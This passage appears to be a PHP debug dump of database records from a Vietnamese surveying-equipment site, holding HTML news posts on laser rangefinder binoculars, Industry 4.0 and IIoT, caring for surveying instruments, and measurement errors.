30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-19', 'status' => '1', 'view' => '89620', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-19', 'status' => '1', 'view' => '63417', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75066', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 